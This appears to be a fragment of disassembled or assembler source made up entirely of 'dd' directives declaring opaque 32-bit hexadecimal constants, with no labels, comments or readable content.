dd 0E4BFA05Eh, 3133CD81h, 0A36AD222h, 2772080Ah, 78A5FEF4h
dd 0D772BDEAh, 24415D24h, 0E495490Bh, 0F46E9091h, 0F367538Eh
dd 125BD058h, 0DF91EB90h, 20A7E840h, 0B058A0FCh, 0E8C0169Ah
dd 47983506h, 0BBBEDFFh, 68AAB8F7h, 0D7642690h, 0A7501518h
dd 2EBC003h, 69AFCB80h, 2E195F41h, 25C950Bh, 9DE2E39h
dd 0F8406778h, 675709BAh, 95F3695h, 0EFA07F5Fh, 4FD17E31h
dd 0B5C7789Dh, 86E959E0h, 57B79E6Bh, 0C9BB99AFh, 417ACAB0h
dd 3FB48A5Ch, 0F317E065h, 4AF15890h, 526DC06Fh, 0BC0B6851h
dd 327F301Ch, 66B500F3h, 5A30A38h, 52E9CA89h, 824FE469h
dd 0DCD1805Eh, 90071458h, 52663DC5h, 30A4B209h, 0F589E0D5h
dd 0FAE917F4h, 1499C21h, 0CD2DCE5Dh, 883E27D7h, 36099479h
dd 5E02DAh, 0C3589887h, 2B2D4857h, 0AF16E216h, 0D5FC8AC3h
dd 96FB865Eh, 61A70B04h, 2BFFA15Fh, 0D10F08Bh, 5EAC5A1Bh
dd 55ED8C97h, 345F10B7h, 3D0181D1h, 425F258Dh, 8C2C905Bh
dd 9E89D9Bh, 0C6976E3Ch, 1870F10h, 52C171C3h, 6AED64E9h
dd 0E8D7B5ACh, 322C0B66h, 16B926Bh, 1C875F08h, 939DE27Ah
dd 41CFBFE4h, 0B5894763h, 0F2319465h, 0D6BFD019h, 5CD390AEh
dd 555D3068h, 6C6984C2h, 4BA3CEEFh, 946093ABh, 0D2687716h
dd 3CDEF1ACh, 13B46A9h, 3481010Ah, 0C953A31h, 71F7CE21h
dd 0DB05B632h, 0AADD7BF3h, 0A24FEF8Eh, 89C90F14h, 0AD80F63Bh
dd 0D2A455E9h, 75F0EB44h, 8999C948h, 68617979h, 4B336D18h
dd 0FBCBAA4Bh, 305B0B47h, 27CBE967h, 0B56EC082h, 29B22C3Bh
dd 800A1DDDh, 0E6811719h, 2C3B2175h, 0BCEE026Eh, 55ACECFAh
dd 0EB80CFD4h, 0E9303615h, 0AF819FA6h, 0CEDAF792h, 6C95A78h
dd 957BFE05h, 0EA4CB17Bh, 65018304h, 0FE8A8077h, 602A143h
dd 0F9AE5305h, 0E916C081h, 547069EFh, 31226055h, 6B8BB6DEh
dd 0F6E92D18h, 622D559Eh, 0ECA770F1h, 93401E53h, 0BEE69726h
dd 0B239D8D3h, 0F722E086h, 8021490h, 0C405CA10h, 0C051F224h
dd 80456910h, 2A2DBF13h, 8FFA9F1Eh, 3341797Dh, 0BD7B99F0h
dd 0C80B8EFBh, 69F174B5h, 8A035609h, 8C7A6C1Fh, 171D7716h
dd 0F9AC190Bh, 0CC1C0B83h, 0BFECC55Fh, 0A4699224h, 7C2538CCh
dd 7EFC5264h, 0D3B8604Bh, 121AB3E5h, 0E0A0DCE9h, 51800025h
dd 84350834h, 1B3DAF16h, 64F90B05h, 2F22F4E4h, 3525EF44h
dd 43BA560Fh, 0D8AE5B04h, 0DF9428FAh, 5634B803h, 0C4BBECB4h
dd 2E58E874h, 3A80BDCh, 0EAF7C798h, 0C68BFC57h, 2E22C0EBh
dd 3C77279Ch, 65C115C0h, 0D16070E5h, 0B55E9D40h, 0BF647951h
dd 654A09FCh, 0A370BAAh, 80DD025Fh, 1D541A55h, 178A2F88h
dd 47240459h, 889BD197h, 931E92E6h, 69A3ADFCh, 8FBD1702h
dd 4068283Ah, 552E22h, 0E781274Bh, 460335CFh, 51D7F727h
dd 21980295h, 0B56043A3h, 5748565Fh, 33DD04B4h, 80EA45D6h
dd 123E259h, 0AF5120F7h, 0A4958254h, 11473Dh, 0AA3ED81h
dd 0B8551D6Ch, 12A6B41Eh, 0E4F2A15Fh, 12D7BFBBh, 0E2405FCAh
dd 1E616026h, 0F6809EB6h, 725407Ah, 72FD7675h, 1BA0610h
dd 33291204h, 4D8BCA31h, 0E9D12103h, 0E2516EBh, 0B47B7AB8h
dd 2B923E48h, 4D2AA7D1h, 0B0688294h, 99AF6C02h, 0E3D425FCh
dd 6E29582Fh, 998145C5h, 7B0FC658h, 800C4F5h, 0B5609AE9h
dd 0B7F43466h, 9FED5AB7h, 0EF7F5AC2h, 496C8C3Fh, 5102E61Bh
dd 0CE288AB1h, 6E617559h, 7E01159Dh, 0DE305FB3h, 0F388C06Bh
dd 8857AAE9h, 2ED1F30h, 0E9525C93h, 912FACB8h, 96AC1A56h
dd 0A08FF414h, 1685352h, 4D411917h, 60DBF75Bh, 0AE3A79A7h
dd 30E9BD08h, 0D6CB6D8Ch, 0DB52C72h, 8E641FB0h, 0C96539BDh
dd 3925FEC6h, 0FEB60F09h, 74E5EB94h, 0DE63188Bh, 8AF5621Ch
dd 263C06D9h, 77ADDC22h, 5FF82990h, 0FA31D183h, 0C0630EE0h
dd 1C6CB9E1h, 215C7380h, 4EB74CBBh, 0E23AC214h, 3A6875F6h
dd 0F54E3158h, 81AB1534h, 2AD97C02h, 0DBCB3AB8h, 584BAD58h
dd 182033F5h, 0EF53C091h, 7B5A15E5h, 0AA880CC1h, 0BD3EC4BFh
dd 0DD9B1665h, 0FBAE04AFh, 0AEBD006Dh, 0F83ED37Eh, 63A4A1D5h
dd 51CBBE28h, 0F89D0950h, 0C4F197BCh, 0F05457C5h, 0CDCFD3C0h
dd 36D66809h, 4E5236F6h, 405B38FDh, 878FAB4Bh, 103C562Eh
dd 0D2B21D69h, 0AF9149C9h, 0C166A90Fh, 37F45E0h, 125A7450h
dd 0CE510C04h, 94E28805h, 8AB680Bh, 9E93269Ah, 0C60AA292h
dd 4B12B08h, 845BDD31h, 0E256FB47h, 11CBC21Dh, 2FDFAD4h
dd 6744BB53h, 5AD861EFh, 43FC64A0h, 45FB14D6h, 946BA44Ah
dd 4FEBECEEh, 2F7DFCB9h, 34558870h, 84464B1Ch, 9F0BFEB7h
dd 4C9770B1h, 9D28258h, 18DFB3DAh, 80E8DFBEh, 68045755h
dd 5FD30D1Ah, 0DB9F67EAh, 56E97F22h, 5A17E274h, 0FE05DE28h
dd 0D7975E02h, 0ADBD689Fh, 7D6E890Dh, 0CF24EF9Ch, 92A6CD9Ch
dd 0DC7DBB0Bh, 0D9057092h, 332F2D01h, 89585B50h, 0CDEB9745h
dd 0A1E83EDAh, 2F55D0A1h, 0BD9C9666h, 0BA2D3964h, 0A71AC9C8h
dd 0B9C3012Fh, 69B62A06h, 0F0331B7h, 0C587CF01h, 31545159h
dd 2A56C968h, 0DC41E7CBh, 3169B57Ah, 908ADC49h, 0E617C3BAh
dd 0EAA8F708h, 8B2BAC06h, 0D8380C68h, 0F844255Eh, 554A01CAh
dd 0CF5FA1BDh, 0F7172E28h, 404ECDD0h, 0D79B4F85h, 1274C440h
dd 10C22099h, 479C5DAFh, 0A325878Ch, 7AB807EFh, 6F29615Bh
dd 0B7F071ABh, 774E6874h, 0BE5392h, 4849CA81h, 62F93Bh
dd 5CA872EAh, 16D32994h, 0B9A43FE9h, 166C58Bh, 8F6F4008h
dd 0C9537B68h, 7FA0416Ah, 48482308h, 5F10592h, 38B11B19h
dd 86AE856Ah, 862D9DC5h, 4EDA1850h, 4C108363h, 87009956h
dd 2F281FAh, 2E017D58h, 3EEB6850h, 1E49C97h, 0E806D7C2h
dd 6E721316h, 0AEA395FFh, 0A0C14FD7h, 6828069Eh, 186D710h
dd 1B0830BAh, 3EA0316Ah, 0AC270FC6h, 0EE214332h, 495F15E9h
dd 7659CD4Fh, 7D03932Ah, 0AA38647Bh, 40650CDh, 5C4D4805h
dd 1092BD69h, 0EC5F29A8h, 0B3B18D3Ah, 891E8F2Ch, 41808CF2h
dd 2D07D027h, 77405F59h, 0AE7F2950h, 6903B011h, 725CE9C5h
dd 8412E50Eh, 47E83FBDh, 0FB9BF44Bh, 0FCEEFD1Eh, 3749EB57h
dd 6F52DE76h, 0F4989904h, 0AD5E2C10h, 0D8EAAD25h, 14A210Dh
dd 3FE64540h, 0B02DCC45h, 0A5B1C6Ch, 0BF29D3AEh, 723F3F31h
dd 9ADF69A5h, 0D405F7Ah, 265A7C68h, 0F260FF8Ch, 4029FAA1h
dd 4A09E2C2h, 75610A3Eh, 1B6BC003h, 0C4018B16h, 0D8385356h
dd 0B822D2C1h, 61EF4AEDh, 7C54A8CFh, 1AA29387h, 5665FAD7h
dd 0B8000AE3h, 5AC64F71h, 15735CBDh, 63F8194Eh, 0E24EC242h
dd 45E4873h, 0B0643D8h
dd 3396B680h, 0CA42690Dh, 0F4C11E0Dh, 841E0BC1h, 0CCC914B6h
dd 0BC91F9B1h, 28054826h, 49D90FEDh, 0DF096BCFh, 0ABE96D21h
dd 0DF416F76h, 0E98632Bh, 12977620h, 0EB7C2960h, 2A6F0E01h
dd 8D00611Ah, 1F4CDDAFh, 12658CEh, 77079F68h, 0C4BB5D3Fh
dd 0B8504D00h, 6F25AC75h, 78A6E925h, 4ECCBD74h, 8858B301h
dd 0DD045BD9h, 493A873Ah, 0B33196FDh, 2DE905C8h, 21F2EFFAh
dd 0E7F55E25h, 94F72D78h, 62843237h, 5FC44A10h, 2F3D6036h
dd 99DE9722h, 2039BA26h, 0F1092466h, 0E24E13FEh, 34D09FA7h
dd 0E82910h, 0E1C0C9FEh, 0F8D1F606h, 975092CAh, 0AFFB9204h
dd 8BEB7517h, 74F31024h, 8472854Bh, 0F8A1AF03h, 897D0CA5h
dd 1474DC04h, 0C95016EFh, 7FA4A229h, 53A68220h, 16957F07h
dd 327795A4h, 896B43C9h, 0E93E793Ah, 0C3815F18h, 0E60706Fh
dd 809A40EBh, 6C220EAh, 0E2C3287Ch, 8D0ADD3Dh, 9CD5A574h
dd 6E769546h, 26A41E6Dh, 847D09B3h, 0C791935Dh, 0D70B1407h
dd 9AFA0814h, 0F9BFC3B2h, 45556BE8h, 0C740AD9Fh, 165435E9h
dd 595ECAC1h, 5B4CCDA6h, 0F93E33Ch, 81981A65h, 3B0DE261h
dd 5F854B44h, 82405F99h, 98651340h, 7D5A2784h, 6B14BBDBh
dd 5EF185A6h, 2C8C8A2h, 0F020A2CBh, 80855E62h, 8B569B4h
dd 0B90ECB81h, 0CE457E5Fh, 0C26E02F3h, 6FE5F5Eh, 2639F201h
dd 6D20703Ah, 76489FF1h, 2924E444h, 2FBF2597h, 34C4407Ch
dd 81FD953Fh, 3BB75395h, 1257A62Eh, 33A85C33h, 2AC7B4A1h
dd 93107EE2h, 71F85AA4h, 6704235h, 0C306B06h, 0E2CB660Fh
dd 0B2ED44D4h, 53AFB4FEh, 37575Ah, 7E1ED306h, 0C0EA2F54h
dd 405DBAD5h, 273B8480h, 0D2D27E20h, 278026Bh, 5CA9ECD3h
dd 0A87A50A2h, 5C99E8BFh, 3D3E2437h, 5AA310BCh, 13E748B0h
dd 106F443Ch, 0FF27C9CDh, 0C8639259h, 0C5613B62h, 8A50582h
dd 0FDC1E801h, 5F640227h, 729792F0h, 86816CCh, 948C6754h
dd 0EB92985Fh, 5A175EB5h, 25EB6F5Dh, 2775EC75h, 9B4458D1h
dd 2B711B1Eh, 16F1E8DDh, 0C7DD05B0h, 0E06F5F65h, 4D000AA3h
dd 7D2D6FD6h, 0BF0879D5h, 0F975B589h, 0D8290B4Dh, 0C611CFDh
dd 5EBC14Bh, 300002C0h, 6A2DF907h, 0C22E2C18h, 3FC5E938h
dd 0C7C17590h, 9BB22328h, 86D089Dh, 47D71C31h, 0CF6B50E5h
dd 0F82F7E02h, 9DB055B7h, 0CA398852h, 92D1BA51h, 0E920870Ch
dd 97AF0FE9h, 2DC54759h, 0E684A8BCh, 5234000Ah, 1D58C728h
dd 8943F780h, 0F9875BF8h, 0F9B2D253h, 5041FD71h, 0AC2BD088h
dd 11E250Ah, 39F8BE3Fh, 4CF737F4h, 0A51039D6h, 0F0292D99h
dd 7F49BDF7h, 89A17F5Ah, 90029330h, 0F1140B2Ch, 0F484E090h
dd 64DBE382h, 71940C48h, 48426972h, 50118DBCh, 0BA3CD4Fh
dd 2916D01Dh, 407F688h, 0FC1E1BE9h, 0A3BEE403h, 13EE1852h
dd 18C8BD16h, 6043877Eh, 5E27676Dh, 0A006FE7Bh, 0CAD4A008h
dd 6F3E02AFh, 63E1E90Dh, 2FD0E555h, 2A729691h, 0B64F60DAh
dd 0FD71D388h, 0FE059FA6h, 69A6D716h, 925FC99Fh, 0E4783FD4h
dd 0EF11CC8Dh, 517C5DB1h, 5FC24830h, 7A2D75E5h, 1538F30Bh
dd 6F775E3Ah, 0BD405745h, 0B9148ECh, 0A2B87FF5h, 1DE9EEC1h
dd 3A412F9Ah, 33B262B6h, 200A016Fh, 0F47BF230h, 340032E2h
dd 834A2F9Ch, 2D6801EAh, 2FB6B82h, 5C94216h, 9A61DEE0h
dd 7EB31BDh, 0E9287650h, 7E36F94Fh, 565AD307h, 14C3E273h
dd 7F6314CDh, 9097588Eh, 0B55B3AECh, 0B9517800h, 35643779h
dd 30F17781h, 0CFCEBA28h, 0B15E52E9h, 5AC9A0E8h, 96C8CE55h
dd 16173F7Dh, 2C04E382h, 18113FB1h, 417DBF02h, 7E40951Ah
dd 862D174Dh, 852A876h, 0B1E95F05h, 0BF74FA4h, 532C663Eh
dd 259E8F5h, 832D0440h, 0BED5770Fh, 0EF2F8EB8h, 0E985C77Ch
dd 6DEA622Ah, 5A3E6095h, 0DCF7D2A8h, 0A4187A14h, 0F802169Dh
dd 0F25135AEh, 561710B8h, 8027B01Eh, 2CF5344Bh, 0B67252C0h
dd 51C58B7h, 0FE58C120h, 5292FAC9h, 0A399E122h, 0DFD1E3F6h
dd 0D3F1003Fh, 0E059CF88h, 0B84990FAh, 0B45597E5h, 209A9A84h
dd 0C097B63Fh, 2CF41496h, 9508941h, 0C0688855h, 6880EBD6h
dd 0BF147066h, 56D9B9FCh, 1768E86Bh, 0B44EDAE9h, 4026C3BEh
dd 18A9D112h, 5596F307h, 24D582Dh, 0FC0F44FCh, 7F804999h
dd 416304Fh, 0B2905B5Ah, 2D8274EBh, 0C3D420B1h, 42A6C581h
dd 9531635Ch, 0E8EA7954h, 0B82EAD15h, 41A0CB75h, 852051E7h
dd 2E677DBDh, 8B798928h, 0D3CE551Ch, 7E6061F6h, 0BCF9C117h
dd 0AF4D4E51h, 0BD2E4DC9h, 0D6E9CB6Dh, 0D243AD91h, 62BE01C1h
dd 1E9904BEh, 0BDAA63EAh, 0A3620744h, 0EE649137h, 297BE0AEh
dd 78E9DE1Ch, 1644E467h, 0FADF0159h, 0A2BF5FD4h, 71D81868h
dd 1E08BA72h, 8C351613h, 46143BDFh, 38F78732h, 974E465h
dd 3CC1599Ah, 63C6EA01h, 84AE60DDh, 0D5FFD04Bh, 82EFEDFEh
dd 7839E9F9h, 0F6801CC0h, 3D60245Bh, 16FE639Ah, 0CB4B207Fh
dd 605B67F3h, 52DA0C68h, 7A9B0318h, 0DC16DEB7h, 0A6EB4C6Fh
dd 0C01CA620h, 96FF05E1h, 0FB1F8007h, 0FC354B8Bh, 655D9385h
dd 2D48A2F1h, 9FF958B2h, 6470C174h, 5D8F2E56h, 0BC0E253Bh
dd 0EF873444h, 486EE2Ch, 31534370h, 0DE8DFA7Ch, 0E9571E85h
dd 81844574h, 0E67EA5C7h, 49D453FDh, 0C054008Ah, 4C464032h
dd 193CABFh, 727FE908h, 96C55D81h, 7A3DE866h, 0F3F5D241h
dd 17A1869h, 551DF4FAh, 5DB56004h, 757F2BFh, 4762118Bh
dd 0E9D1C15Eh, 665181CDh, 556146B8h, 0C2C5B530h, 1AE9EA06h
dd 557411CAh, 214B5B02h, 9C3770Eh, 96F64484h, 8BD164E3h
dd 74C4E909h, 2D71DB77h, 0DFCB9171h, 2C74681Ch, 8DFCDBB5h
dd 2854C9A1h, 208A9E80h, 5E005815h, 28EB1D2Dh, 2D7FB8C2h
dd 0E22FDDBDh, 560CDF6Ch, 960968FAh, 454E9E04h, 90F2654h
dd 50074007h, 80F2232h, 0EE7482E2h, 539609h, 0FC212498h
dd 0FDE0BF2Bh, 5B67D831h, 74A34EC8h, 9732322Fh, 0A631CA3h
dd 0A9F6BA8Dh, 7B74A193h, 82BB9365h, 330A2EA4h, 1747510Eh
dd 241CCBBFh, 2316AF58h, 47D83AACh, 0F730E902h, 108882E6h
dd 5BBAF058h, 9E54FD63h, 5F7E778Dh, 1210C36Eh, 8F5E4313h
dd 0B4FCAFAh, 259BA4E9h, 6F815091h, 0EE0452A8h, 9EB55F16h
dd 134E1CD4h, 0E513BA0h, 0DAE623F0h, 42206417h, 0B1435AA2h
dd 9403A0E4h, 2809271Ch, 1E60C190h, 0A1BAD7E3h, 88DA2926h
dd 3896C214h, 62EF1387h, 0DC9F0F09h, 0DB5F4904h, 0DE96172h
dd 486C9DF0h, 0CB42C796h, 0C129F580h, 0F431ECB6h, 0DD5CDF93h
dd 1CC86B78h, 0BFF3D42Fh, 16DAD404h, 0F3CEBB5Ah, 0F714EF49h
dd 8410E5D3h, 0A1295877h, 0FA2FB195h, 0CB084924h, 6E7D2502h
dd 16DC0289h, 440154AAh, 58B1AFDh, 0BAFD580Ch, 0F260E9E0h
dd 0EBD8D4B7h, 29C7915Fh, 0CE6FD708h, 0FE3B8028h, 1D8F6C8h
dd 32045F34h, 0C3E9C380h, 529D1D9Dh, 0C695A958h, 0EBB45BAh
dd 0FD1B32EAh, 232C0C58h, 8913E617h, 6AC6AAC1h, 71840F00h
dd 7324335Ah, 0ABAF198h, 608C3149h, 0DF038579h, 4C8D206Ch
dd 2511AC36h, 0C905429h, 1B120D48h, 9629AA4Fh, 0BAFC76F0h
dd 7A622C7Ch, 1722CE02h, 0F7E0463Ah, 0B93A7DCBh, 10C0D872h
dd 0B003618Dh, 4E8C006h, 92E1408Ah, 7F2E6180h, 6420F1ECh
dd 0D6C68127h, 0CE018F0Ch, 0F7A9E7A4h, 5254C99h, 117532DFh
dd 840AAEDh, 975D49E9h, 50EE3A75h, 2EBC97F6h, 0ED777EAAh
dd 80E9840Ah, 0FC309878h
dd 2F7A6609h, 0BF1E775Dh, 2761CCBFh, 0F5C858C0h, 5782FEA5h
dd 627DA409h, 5ED642C8h, 45BB1E55h, 0EC01E064h, 50878956h
dd 5F070B42h, 4725CEBAh, 55A0B0D9h, 0BB4F6BECh, 805A64EAh
dd 0BF236ED3h, 0CE812001h, 26B760E7h, 1FDEC630h, 377B855h
dd 7F1652E6h, 0BE0CF476h, 0CC502D53h, 0FB0126F0h, 5EF10185h
dd 4E1C4F09h, 0B43A2A8Fh, 26BB0EB4h, 17370030h, 17B50789h
dd 710D2502h, 897D49B6h, 2B79D72Eh, 0BF12552Dh, 0B13E35Eh
dd 8CB64880h, 0D3CE2E80h, 28250BABh, 6844E0DDh, 30E6972Ah
dd 51DCB205h, 0CD947CE9h, 0C08A09CDh, 28F5954h, 64827B96h
dd 0E92AC0FDh, 3000BD05h, 3310422Dh, 0F829381Eh, 67F807E8h
dd 40580871h, 4C845AE2h, 8B93E7AAh, 8A02D6E9h, 8988F58h
dd 0D42D4FA2h, 0C2315035h, 4071E92Dh, 1826BF43h, 0CA73C11Bh
dd 7D8223ECh, 8037BB48h, 0F358929Dh, 7CBC0082h, 69E9670Dh
dd 0D0EE2B97h, 59CB2735h, 0F6222A7Ah, 6B749D84h, 712605E2h
dd 51444F1h, 5FDD83CEh, 219F220h, 0E96FB158h, 0E1677185h
dd 58C6A08h, 0EA2E0168h, 41BC160h, 0F80E4E05h, 169682FEh
dd 8190C25Bh, 50026158h, 0B5F721D0h, 475892D6h, 4EE40029h
dd 5C35D0F7h, 38EFE93Dh, 28A0405Fh, 77E32A5Ah, 1DDDEE96h
dd 0BC5D5CAFh, 40E8D632h, 3BE381A1h, 11766A6Ch, 232DF302h
dd 5743468Bh, 98F5AF20h, 1696A91Ch, 8C6BDE25h, 0CE6353F3h
dd 0F103850Ch, 0BC90AA65h, 76C18113h, 7F083178h, 9129086h
dd 4947E371h, 0C5A9407Fh, 7E101360h, 3950BB0Dh, 592385F0h
dd 0C003B088h, 0F03A9D9Ah, 7A97517Bh, 236709A1h, 0EC16141Ah
dd 0A0F6CD0h, 0E313D668h, 5683B889h, 0AB529646h, 59501A87h
dd 1363B450h, 0F7923CE9h, 537D7F05h, 0C4CB122Dh, 208DB286h
dd 0B32C4E1Bh, 291E932Ah, 22953189h, 0D37FF015h, 31D4A45h
dd 62BA69E2h, 2A07E7D9h, 2805A3E0h, 1F334F1h, 20023FE9h
dd 0A0F90109h, 5F5A083Ch, 3084EDBDh, 7AB10441h, 0C88DF1EAh
dd 0DCEA50C8h, 0FE9DE1EEh, 0C42C50DAh, 21B9579Dh, 24F82F5Dh
dd 0B85D3C4h, 0ADCCA25Bh, 0D6466130h, 0A06159F8h, 121E8E66h
dd 4021529Dh, 5DD9F683h, 0CC731E1h, 6A0407E2h, 0D6ACDD82h
dd 60A49D4Eh, 0ED562D01h, 0C601401Eh, 7C7F8B2Eh, 29E10D70h
dd 215CE000h, 3F1C5847h, 52020126h, 15F59C1h, 0A49DFD89h
dd 192445F5h, 0F591FB66h, 2FA7055Ch, 4B208EF8h, 0E87295AAh
dd 719BEE25h, 5A8D8B91h, 5758B698h, 3B30779Dh, 45D683E9h
dd 7ECE40BEh, 21FEAF43h, 324FF37Fh, 1EE75E4h, 1A45787Bh
dd 285E5556h, 0D5F7A137h, 5101DA8h, 9305B9F6h, 1B2BC017h
dd 425F754Ch, 8007EE5h, 0BDF5ABE9h, 0D6A0147Eh, 5271D009h
dd 0D539261Ah, 0D32D300Fh, 0F8016E7Ch, 8B9512Ah, 2DFEC84Ch
dd 13AF768h, 0B1D5277h, 79466BFDh, 8E3A1C59h, 3E4908E1h
dd 0FE77F849h, 0ADF6817Eh, 0F006436Ch, 65B7CDF9h, 0E8AD12C0h
dd 0B66C4B69h, 8ABE24E9h, 80574B4Eh, 1E6926A1h, 0FB014B5Dh
dd 0C0402CDh, 0C8ACC094h, 2C91FBF5h, 6800B49Ah, 0A52D5410h
dd 25735174h, 5B5EFA06h, 6BAF0404h, 4BA51256h, 0A03E821h
dd 0E9970B01h, 72999F65h, 10262009h, 0C0258958h, 0C158BF68h
dd 15E1720h, 0D4CAFCF2h, 60DD0428h, 21801B59h, 4E6374E1h
dd 61C9A443h, 36CC3A14h, 2A4504ADh, 41BC2040h, 50E9520Bh
dd 8F2DAED8h, 71305C04h, 32F97E34h, 0C6F25EA3h, 4E656810h
dd 0E262B87Ah, 23404C6h, 0F25E5BE9h, 0E55E9D0Fh, 535F36C2h
dd 0EF509667h, 43B8C690h, 5E3D2F54h, 6E95CBF8h, 0AF2BB54Fh
dd 0F424B4D0h, 76A72E91h, 0EE6644DBh, 0D17B1C3Dh, 7C7D018Bh
dd 0D3CFE434h, 0CE43AE00h, 0E8C1485Eh, 5C2F5E90h, 42A624F2h
dd 0CF8A8B1Eh, 73DA1FCBh, 7E0110E3h, 0D278C466h, 0D084FA31h
dd 0BB535AD0h, 0D51704E2h, 0DC93E550h, 249F9C15h, 76A00400h
dd 3C492E18h, 32792D47h, 0E84D7704h, 0C1ABFC84h, 6A5645E9h
dd 68C368BCh, 65124F31h, 4437C643h, 5B934C83h, 5EC19210h
dd 0D74AE4FDh, 140F98Fh, 5A6B7FC7h, 9EFD564Eh, 185FDE34h
dd 5F7E9C68h, 0F582D988h, 3119E000h, 28BD68DDh, 4A28085Fh
dd 84D94Bh, 3DFEE756h, 260DA8BBh, 184A662Ah, 8D9F1DF0h
dd 4AFA8C7Ah, 20EBFDA4h, 57B313C3h, 136F0C3Bh, 1BB4636h
dd 911F52F4h, 0CE9C2425h, 4E2E69F0h, 889D376h, 0E8BAF82Ch
dd 0F8167E0Bh, 19CF74CBh, 0C44330D1h, 0EBE7E05Fh, 8422E913h
dd 939F6DBEh, 21857AE6h, 0F84529EEh, 248343ACh, 2DD468Ch
dd 66C56198h, 18C8343h, 9F31C7B9h, 51188D20h, 6882180Fh
dd 8FB7EB8Eh, 2D7705D5h, 781AD6FFh, 5F9D74B0h, 5197AF16h
dd 67E91E66h, 717766E2h, 0D68BC97Eh, 57217060h, 25A1C2Ch
dd 0CF354918h, 0B60612D5h, 6A430123h, 6B63B972h, 5BF2D10Ch
dd 0D184160Fh, 0D294FBDCh, 0B47A3E04h, 14CFFF13h, 60AFE90Eh
dd 0C3A6BF12h, 6FC6022Dh, 7CC4FCB6h, 0B32D0590h, 2EDD3A34h
dd 4AFD6DBFh, 0EBA713FDh, 0DC9CB20Bh, 97C38970h, 0CF6390F5h
dd 2711BD33h, 9EA2411h, 0C51560BDh, 51FBB7C9h, 0A9170C10h
dd 586BF30Dh, 82A14E6Ch, 0FED25667h, 7DD4A8F7h, 0B3886716h
dd 7E3114A1h, 0E2A081DBh, 0FAEC6269h, 0B0508078h, 895DC378h
dd 978C4C54h, 84950BFh, 1759FD5Eh, 6C217E9h, 8116D5ADh
dd 2F677B20h, 0BF5C5E54h, 9D51AED0h, 8630316Eh, 81663A7Ch
dd 52282EEDh, 67039EB3h, 767521E2h, 9AD0805h, 9067F51Fh
dd 2C68024Ah, 6F354450h, 559AB8E3h, 58D3D3A7h, 870C0DC5h
dd 9C27E09h, 0F9E7D7Eh, 0F53FE390h, 2BC25B67h, 494B5E8Eh
dd 555C60F0h, 671929C9h, 0DA029AACh, 0F4364B46h, 0C9069C4Dh
dd 188C08EFh, 21176865h, 0D4F45BDFh, 9E3C0960h, 3A02298Eh
dd 0CCFD74B7h, 0BC6FF482h, 0EA561772h, 0EB5BA02Bh, 0D55F7E49h
dd 70580938h, 0E57B17B2h, 29A6F59Dh, 2B4C1A4Eh, 533B1294h
dd 9D1019B3h, 657861A3h, 0F120601Ch, 0FC524C2Eh, 81EE048Ch
dd 0E6F3EF09h, 177C82A4h, 5EF80C2Dh, 1D9B412h, 0EFC14FAFh
dd 5FD01003h, 11C70DCCh, 30582D6Eh, 7D826817h, 572761DBh
dd 9BFEB9Ch, 6979F4A3h, 0E0756D82h, 0A54840DCh, 0B635E3A0h
dd 0FC165FCFh, 4B5962AEh, 2A9294F2h, 84208B0Bh, 68F08509h
dd 50B3F920h, 0DA237B0Fh, 455F3022h, 2268AF4Bh, 949DAF65h
dd 0D18E2590h, 1E42E2D9h, 0D2F7020Bh, 0F272E8DDh, 3D1A124Ch
dd 0C954B43Fh, 67D9964Fh, 821C497Bh, 4D952277h, 0FAD9E652h
dd 0FA0F9AC0h, 0EA37A334h, 27040912h, 0AEBCD505h, 0A88A36D5h
dd 944AE90Bh, 7A29E229h, 8A2C6578h, 0EECA5E3Ch, 9E4CF7A5h
dd 9A0B3709h, 83E424Bh, 508C5ECh, 0D112E5h, 2B6CE72h, 229832EBh
dd 1874849Dh, 8FC466BCh, 0A5F3003Ch, 0B8386203h, 40434179h
dd 52361B3Bh, 0BA351972h, 16BB0D1Fh, 3AA7E11Bh, 46BC7F1h
dd 17AE2CA3h, 89501DBCh, 0BA221F29h, 0E0B4931Ah, 8E95468Bh
dd 0C0B6058Fh, 52B0DBA0h, 84389A0Fh, 7F64E3CAh, 0B355A634h
dd 0E7BABB13h, 465F77C3h, 0BE4A4EAFh, 0C1633493h, 45B8ED0h
dd 1605881h, 0A401AB05h, 18C4057Bh, 0E9350200h, 0D5A0CE13h
dd 5364D2BFh, 45C241h, 9522DD68h, 7B9DA9CCh, 10FA1006h
dd 5D3F3D2Ch, 79542F2Fh, 0B757C25h, 0C5D55857h, 71F84EEh
dd 0AE81FB88h, 43AF2DE9h, 8DF2D029h, 9289CE9Bh, 0FBA2881Eh
dd 5F7F570Bh
dd 95DC7D18h, 55E0E996h, 2D48C268h, 1EC14616h, 75173FAFh
dd 47C7F9Ch, 0E903A23Ah, 81DE95BFh, 71123199h, 0D83848EEh
dd 6D722D1Eh, 71405BDDh, 687B9305h, 21CCB7A8h, 3F9683E0h
dd 65EB80E1h, 0C06DE4F8h, 6EB9E361h, 0E0BF5623h, 48612236h
dd 5D1A1DFDh, 0ADCA7A4h, 0B651DA25h, 3C7F7AD4h, 7973BD14h
dd 5A8FDE2Fh, 946A66D7h, 4B364218h, 393F540Bh, 2908CEAh
dd 5CCE3315h, 4DC78148h, 0B18379DDh, 7868AD0Fh, 8C1511Ah
dd 0C084EC3Ch, 4F05001Ch, 3E44E134h, 0D212D029h, 0B51CB868h
dd 0FC7BCD0Ch, 80A701B4h, 0E2200BECh, 82B23F58h, 0BE951C2h
dd 0E95CE0A9h, 7253558Bh, 767A0569h, 0F82167C0h, 4DDB13BBh
dd 2BDA39BAh, 22FF7B91h, 801AB400h, 0FA8EF425h, 6E12E6Dh
dd 44FE4311h, 5834347Ch, 0D8849883h, 5A2F24B8h, 215DBC60h
dd 8D87B9Dh, 810096BFh, 9D6DD1EEh, 352BF67h, 3BD5CE02h
dd 434E0F14h, 557CF277h, 1F271446h, 26D86656h, 82CC8475h
dd 0A8F5D0Eh, 296273D1h, 0C5010286h, 9A9DB27Fh, 4592861Ah
dd 5AD5776Dh, 0BDC181F2h, 4D6D342Eh, 0C2BD38F6h, 8FFC5DB9h
dd 0BE7CE3F1h, 0A390A84Ah, 43ABF9C3h, 905D1EAFh, 0A25504ADh
dd 0EDA94008h, 56A616FCh, 0BA1FC420h, 76D05880h, 0BB111AEBh
dd 485F0BD4h, 826CFE4Bh, 747BA980h, 3BB89FBFh, 0D26B6145h
dd 0DBFC05A4h, 9FA4782Dh, 0DF6B00F1h, 0D3D24342h, 0FD3598h
dd 2D5250BFh, 2F73B91h, 0AF57C3D7h, 0E90B100Bh, 41904870h
dd 2625BE05h, 5D52A437h, 4B4ABC9Ch, 48AFB656h, 20B62524h
